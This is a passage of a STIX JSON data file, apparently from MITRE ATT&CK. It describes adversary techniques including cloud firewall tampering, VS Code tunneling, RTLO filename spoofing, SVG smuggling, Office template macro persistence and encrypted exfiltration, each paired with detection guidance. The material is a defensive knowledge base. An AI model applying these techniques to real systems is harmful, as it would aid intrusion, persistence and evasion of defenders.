                    "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
                }
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            "modified": "2025-04-15T22:19:38.109Z",
            "name": "Disable or Modify Cloud Firewall",
            "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ",
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
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                "Arun Seelagan, CISA"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor cloud logs for modification or creation of new security groups or firewall rules.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_data_sources": [
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            "type": "attack-pattern",
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            "id": "attack-pattern--77e29a47-e263-4f11-8692-e5012f44dbac",
            "created": "2025-03-20T18:46:24.598Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1219/001",
                    "external_id": "T1219.001"
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                {
                    "source_name": "sentinelone operationDigitalEye Dec 2024",
                    "description": "Aleksandar Milenkoski, Luigi Martire. (2024, December 10). Operation Digital Eye | Chinese APT Compromises Critical Digital Infrastructure via Visual Studio Code Tunnels. Retrieved February 27, 2025.",
                    "url": "https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/"
                },
                {
                    "source_name": "Unit42 Chinese VSCode 06 September 2024",
                    "description": "Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved March 24, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/"
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                {
                    "source_name": "Thornton tutorial VSCode shell September 2023",
                    "description": "Truvis Thornton. (2023, September 25). Visual Studio Code: embedded reverse shell and how to block, create Sentinel Detection, and add Environment Prevention. Retrieved March 24, 2025.",
                    "url": "https://medium.com/@truvis.thornton/visual-studio-code-embedded-reverse-shell-and-how-to-block-create-sentinel-detection-and-add-e864ebafaf6d"
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            "description": "Adversaries may abuse Integrated Development Environment (IDE) software with remote development features to establish an interactive command and control channel on target systems within a network. IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.(Citation: sentinelone operationDigitalEye Dec 2024)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Thornton tutorial VSCode shell September 2023)\n\nAdditionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution. Compromised developer machines may also be exploited as jump hosts to move further into the network.\n\nIDE tunneling tools may be built-in or installed as [IDE Extensions](https://attack.mitre.org/techniques/T1176/002).",
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                    "phase_name": "command-and-control"
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            "x_mitre_detection": "",
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69",
            "created": "2020-02-10T19:55:29.385Z",
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                    "url": "https://attack.mitre.org/techniques/T1036/002",
                    "external_id": "T1036.002"
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                {
                    "source_name": "Trend Micro PLEAD RTLO",
                    "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/"
                },
                {
                    "source_name": "Kaspersky RTLO Cyber Crime",
                    "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.",
                    "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/"
                },
                {
                    "source_name": "Infosecinstitute RTLO Technique",
                    "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.",
                    "url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/"
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            "name": "Right-to-Left Override",
            "description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",
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            "x_mitre_data_sources": [
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                    "url": "https://attack.mitre.org/techniques/T1588/001",
                    "external_id": "T1588.001"
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                {
                    "source_name": "FireEyeSupplyChain",
                    "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:47:58.443Z",
            "name": "Malware",
            "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Malware Repository: Malware Metadata",
                "Malware Repository: Malware Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--78b9e70d-1605-459c-b23d-e3a25036968c",
            "created": "2025-03-25T15:31:09.697Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/017",
                    "external_id": "T1027.017"
                },
                {
                    "source_name": "Talos SVG Smuggling 2022",
                    "description": "Adam Katz and Jaeson Schultz. (2022, December 13). HTML smugglers turn to SVG images. Retrieved March 25, 2025.",
                    "url": "https://blog.talosintelligence.com/html-smugglers-turn-to-svg-images/"
                },
                {
                    "source_name": "Trustwave SVG Smuggling 2025",
                    "description": "Bernard Bautista and Kevin Adriano. (2025, April 10). Pixel-Perfect Trap: The Surge of SVG-Borne Phishing Attacks. Retrieved April 14, 2025.",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pixel-perfect-trap-the-surge-of-svg-borne-phishing-attacks/"
                },
                {
                    "source_name": "Bleeping Computer SVG Smuggling 2024",
                    "description": "Lawrence Abrams. (2024, November 17). Phishing emails increasingly use SVG attachments to evade detection. Retrieved March 25, 2025.",
                    "url": "https://www.bleepingcomputer.com/news/security/phishing-emails-increasingly-use-svg-attachments-to-evade-detection/"
                },
                {
                    "source_name": "Cofense SVG Smuggling 2024",
                    "description": "Max Gannon. (2024, March 13). SVG Files Abused in Emerging Campaigns. Retrieved March 25, 2025.",
                    "url": "https://cofense.com/blog/svg-files-abused-in-emerging-campaigns/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:43.263Z",
            "name": "SVG Smuggling",
            "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files.(Citation: Trustwave SVG Smuggling 2025) SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `<script>` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files. \n\nSVG smuggling can take a number of forms. For example, threat actors may include content that: \n\n* Assembles malicious payloads(Citation: Talos SVG Smuggling 2022)\n* Downloads malicious payloads(Citation: Cofense SVG Smuggling 2024)\n* Redirects users to malicious websites(Citation: Bleeping Computer SVG Smuggling 2024)\n* Displays interactive content to users, such as fake login forms and download buttons.(Citation: Bleeping Computer SVG Smuggling 2024)\n\nSVG Smuggling may be used in conjunction with [HTML Smuggling](https://attack.mitre.org/techniques/T1027/006) where an SVG with a malicious payload is included inside an HTML file.(Citation: Talos SVG Smuggling 2022) SVGs may also be included in other types of documents, such as PDFs.  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Suraj Khetani (@r00treaver)",
                "Dhiraj Mishra (@RandomDhiraj)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4",
            "created": "2019-12-19T20:21:21.669Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1542/002",
                    "external_id": "T1542.002"
                },
                {
                    "source_name": "ITWorld Hard Disk Health Dec 2014",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved November 17, 2024.",
                    "url": "https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
                },
                {
                    "source_name": "SanDisk SMART",
                    "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018."
                },
                {
                    "source_name": "SmartMontools",
                    "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
                    "url": "https://www.smartmontools.org/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:43.347Z",
            "name": "Component Firmware",
            "description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Firmware: Firmware Modification",
                "Process: OS API Execution",
                "Driver: Driver Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "created": "2017-05-31T21:30:55.892Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070",
                    "external_id": "T1070"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:43.436Z",
            "name": "Indicator Removal",
            "description": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Brad Geesaman, @bradgeesaman",
                "Ed Williams, Trustwave, SpiderLabs",
                "Blake Strom, Microsoft 365 Defender"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files.  Events not stored on the file system may require different detection mechanisms.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Containers",
                "Network Devices",
                "Office Suite",
                "ESXi"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Modification",
                "File: File Modification",
                "Firewall: Firewall Rule Modification",
                "User Account: User Account Authentication",
                "File: File Metadata",
                "User Account: User Account Deletion",
                "Process: OS API Execution",
                "Application Log: Application Log Content",
                "Command: Command Execution",
                "File: File Deletion",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Network Traffic: Network Traffic Content",
                "Windows Registry: Windows Registry Key Deletion"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c",
            "created": "2020-03-15T15:30:42.378Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1048/001",
                    "external_id": "T1048.001"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:43.571Z",
            "name": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol",
            "description": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Command: Command Execution",
                "File: File Access",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21",
            "created": "2019-11-07T20:29:17.788Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/001",
                    "external_id": "T1137.001"
                },
                {
                    "source_name": "MSDN VBA in Office",
                    "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office"
                },
                {
                    "source_name": "Hexacorn Office Template Macros",
                    "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
                    "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/"
                },
                {
                    "source_name": "Microsoft Change Normal Template",
                    "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
                    "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
                },
                {
                    "source_name": "enigma0x3 normal.dotm",
                    "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
                    "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/"
                },
                {
                    "source_name": "CrowdStrike Outlook Forms",
                    "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
                    "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
                },
                {
                    "source_name": "GlobalDotName Jun 2019",
                    "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
                    "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
                },
                {
                    "source_name": "Outlook Today Home Page",
                    "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
                    "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:54:50.299Z",
            "name": "Office Template Macros",
            "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Creation",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795",
            "created": "2020-10-01T00:44:23.935Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/003",
                    "external_id": "T1583.003"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "TrendmicroHideoutsLease",
                    "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
                    "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:18:46.651Z",
            "name": "Virtual Private Server",
            "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content",
                "Internet Scan: Response Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
            "created": "2020-02-14T13:09:51.004Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1213/001",
                    "external_id": "T1213.001"
                },
                {
                    "source_name": "Atlassian Confluence Logging",
                    "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
                    "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
                }
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            "modified": "2025-04-15T22:09:18.055Z",
            "name": "Confluence",
